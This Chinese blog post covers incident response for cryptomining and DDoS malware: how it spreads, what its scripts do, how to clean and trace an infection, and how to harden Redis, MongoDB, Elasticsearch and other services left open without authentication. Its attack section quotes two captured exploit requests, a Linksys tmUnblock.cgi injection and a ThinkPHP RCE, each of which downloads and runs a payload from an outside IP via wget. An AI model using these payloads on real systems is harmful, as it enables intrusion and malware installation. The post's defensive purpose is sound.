一 挖矿病毒简介
 攻击者利用相关安全隐患向目标机器种植病毒的行为。
二 攻击方式
攻击者通常利用弱口令、未授权、代码执行、命令执行等漏洞进行传播。示例如下:
示例1:
 
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
示例二:
 
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
 
三 脚本流程
   3.1、杀死其他同类产品以及安全软件。比如安骑士、青藤云等等
  3.2、每隔一定周期检测一次进程是否存
  3.3、添加计划任务
  3.4、检查木马文件是否存在
  3.5、检查发现不存在木马文件就会自行远程下载并执行
   
四 排查思路
    4.0 断网
    4.1 检查计划任务,并将计划任务的域名或者ip写入到 /etc/resolv.conf中,绑定为 127.0.0.1  脚本域名
    4.2 上传busybox
    4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照脚本内容依次删除挖矿脚本添加的内容
    4.4 使用busybox检查本机是否被写入恶意so。一般so地址为:/usr/lib/ 若有新增so,则使用busybox  rm 删除
    4.5 进入/proc/目录 计算所有pid 的md5值。 即执行 md5sum /proc/$pid/exe 并将得到的md5值去威胁情报社区(微步或者VT)查询相关信息
    4.6 确认删除计划任务、恶意so、挖矿进程后重启机器。随后再次检查
    
五 入侵溯源
    5.1 ssh入侵。
        grep ‘Accept’ /var/secure*
        strings     /var/wtmp
        strings     /var/lastlog
        strings     /var/utmp
        strings     /var/log/boot.log
        cat.        /root/.ssh/authorized_keys
 
一般而言,若在挖矿脚本中发现以上文件被删除或者置空,则99%可确定为是 通过ssh 爆破进来,则修复建议如下:
    5.1.1 升级openssh
    5.1.2  使用长度大约8的多种字符组合的密码
    5.1.3 安装fail2ban,
5.2 未授权入侵。 
常见存在未授权的应用如下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
 
 
服务名 常见未授权原因 修复建议
redis 6379对外开放,且使用弱口令或者未设置密码
1 iptables 设定6379 ip白名单
2 设置redis强口令
jenkins 弱口令、script未授权
1 设置强密码
2 管理后台建议禁止开放公网,建议使用iptables指定来源ip
mongodb 27017 
1 本地访问
bind 127.0.0.1
2 修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口
3 禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
4 开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
5 开启auth认证
/etc/mongodb.conf  
auth = true 
6 开启鉴权模式
zookeeper 2181
1 禁止把Zookeeper直接暴露在公网
2 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
Es 9200
1 默认开启的9200端口和使用的端口不对外公布,或架设内网环境。或者防火墙上设置禁止外网访问9200端口。
 
2 架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
3 限制IP访问,绑定固定IP
4 为elasticsearch增加登录验证,可以使用官方推荐的shield插件.
Memcache 11211
1.限制访问
2.防火墙
3.使用最小化权限账号运行Memcached服务
4.启用认证功能
5.修改默认端口
6.定期升级
Hadoop 8088
1 网络访问控制
2 启用认证功能
3 更新补丁
 
Couchdb 5984
1 指定CouchDB绑定的IP
2 设置访问密码
Docker  2181
1 网络访问控制
2 低权限运行
K8s 8080、6443
1 身份校验
2 设置密码
cms 代码执行、命令执行、注入等等 升级、打补丁
总之根据对应的服务,一一排查,挖矿病毒、ddos病毒类的都是脚本自动化执行,一般都是以上安全隐患造成的中毒。
    
  

挖矿病毒、ddos入侵流程及溯源的更多相关文章

  1. qW3xT.2,解决挖矿病毒。

    网站在运行期间感觉怪怪的,响应速度慢的不是一丁半点,带宽5M,不该是这样的呀 于是登录Xshell top命令 查看cpu情况如下 PID为3435的进程占用CPU过大,难道被病毒入侵了吗? 查看该进 ...

  2. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  3. 阿里云 qW3xT.4 挖矿病毒问题

    查了一下.是个挖矿病毒,cpu 占用巨高 .杀了又有守护进程启动.网上有些杀死这个病毒的办法,大家可以试试.但是不确定能杀死. 建议直接重装系统. 然后,说说这货怎么传播的. 他通过redis .目前 ...

  4. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  5. 如何更有效的消灭watchdogs挖矿病毒?华为云DCS Redis为您支招

    漏洞概述 近日,互联网出现watchdogs挖矿病毒,攻击者可以利用Redis未授权访问漏洞入侵服务器,通过内外网扫描感染更多机器.被感染的主机出现 crontab 任务异常.系统文件被删除.CPU ...

  6. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

  7. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  8. Linux挖矿病毒 khugepageds详细解决步骤

    一.背景 最近公司一台虚拟机被攻击,其中一种挖矿病毒.会伪CPU数.即如果用top命令只能看到一个cpu.并且负载不高.实际上整个负载300%以上,及时定时任务关掉也不起作用. 二.言归正传开始干掉这 ...

  9. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

随机推荐

  1. koa-ueditor上传图片到七牛

    问题描述:服务器系统架构采用的是koa(并非koa2),客户端富文本编辑器采用的是百度的ueditor控件.现在需要ueditor支持将图片直接上传到七牛云. 前提:百度的ueditor需要在本地配置 ...

  2. ios copy和strong,浅拷贝和深拷贝

    copy@property (nonatomic, copy) NSString *name;self.name = mutableString;这时,name对mutableString一个深拷贝, ...

  3. Django 使用mysql 创建项目

    一.安装 mysql 和 mysqlclient 1. 安装 mysql ,https://www.jianshu.com/p/07a9826898c0 2. pip3 install mysqlcl ...

  4. MyCP

    一.作业要求 编写MyCP.java 实现类似Linux下cp  XXX1 XXX2的功能,要求MyCP支持两个参数:- java MyCP -tx XXX1.txt XXX2.bin  用来把文本文 ...

  5. 基于nodejs的流水线式的CRUD服务。依赖注入可以支持插件。

    写代码好多年了,发现大家的思路都是写代码.写代码.写代码,还弄了个称号——码农. 我是挺无语的,我的思路是——不写代码.不写代码.不写代码! 无聊的代码为啥要重复写呢?甚至一写写好几年. 举个例子吧, ...

  6. ASP.NET Core 2.2 : 十六.扒一扒新的Endpoint路由方案

    ASP.NET Core 从2.2版本开始,采用了一个新的名为Endpoint的路由方案,与原来的方案在使用上差别不大,但从内部运行方式上来说,差别还是很大的.上一篇详细介绍了原版路由方案的运行机制, ...

  7. Spring boot读取application.properties中文乱码

    解决方案 在IDEA环境下: File -> Settings -> Editor -> File Encodings 将Properties Files (*.properties ...

  8. mysql中将多行数据合并成一行数据

    .1GROUP_CONCAT()中的值为你要合并的数据的字段名; SEPARATOR 函数是用来分隔这些要合并的数据的: ' '中是你要用哪个符号来分隔: 2.必须要用GROUP BY 语句来进行分组 ...

  9. Maven运行报错

    在创建Maven项目时,出现报错:No goals have been specified for this build pom.xml文件加入  <build><defaultGo ...

  10. Putnam竞赛一道题及中科大自主招生试题的联系

    Putnam试题 For any positive integer n let denote the closest integer to $\sqrt{n}$,Evaluate $$\sum_{n= ...